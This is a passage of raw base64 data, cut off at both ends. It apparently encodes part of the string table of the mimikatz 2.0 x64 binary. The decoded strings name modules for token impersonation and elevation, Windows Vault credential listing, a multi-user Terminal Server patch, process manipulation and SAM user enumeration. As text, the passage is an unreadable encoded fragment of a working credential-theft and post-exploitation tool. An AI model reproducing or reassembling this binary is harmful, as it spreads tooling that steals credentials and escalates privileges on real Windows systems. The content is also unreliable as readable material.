lAGMAdABlAGQAAAAAAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGkAbgBnAAAAAAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAAAAAAGMAbwBuAG4AZQBjAHQAZQBkAAAAAAAAAG4AbwB0AF8AcgBlAGEAZAB5AAAAAAAAAHcAaQBmAGkAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAZABlAHQAbwB1AHIAcwAAAAAAAAAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAAAAAAHQAYQBzAGsAbQBnAHIAAAAAAAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAByAGUAZwBlAGQAaQB0AAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAAAAAAAAYwBtAGQAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAABtAGkAcwBjAAAAAAAAAAAAdwBsAGEAbgBhAHAAaQAAAFdsYW5PcGVuSGF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gAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAQQBzAGsAIABkAGUAYgB1AGcAIABwAHIAaQB2AGkAbABlAGcAZQAAAGQAZQBiAHUAZwAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAHMAaQBtAHAAbABlACAAOwAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACAAKAAlAHUAKQAgACUAMAA4AHgACgAAAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAAAAAABzAHUAcwBwAGUAbgBkAAAAVABlAHIAbQBpAG4AYQB0AGUAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABvAHAAAAAAAAAAAABTAHQAYQByAHQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABhAHIAdAAAAAAAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAZQB4AHAAbwByAHQAcwAAAAAAAAAAAGUAeABwAG8AcgB0AHMAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAAAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaAB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AAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHIAZQB2AGUAcgB0AAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAZQBsAGUAdgBhAHQAZQAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAAAAAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAAAAAAHcAaABvAGEAbQBpAAAAAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAAAAAAHQAbwBrAGUAbgAAAAAAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwB5AHMAdABlAG0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAAIAAoACUAcwApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AHMAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAAAAAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAABjAHIAZQBkAAAAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdAAAAAAAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1UeXBlcwBWYXVsdEVudW1lcmF0ZVZhdWx0cwAAAABWYXVsdE9wZW5WYXVsdAAAVmF1bHRHZXRJbmZvcm1hdGlvbgAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtcwAAAAAAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAAAAAABWYXVsdEdldEl0ZW0AAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAAAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAAAAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQBzAFwAJQBzAAAAAAAAAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF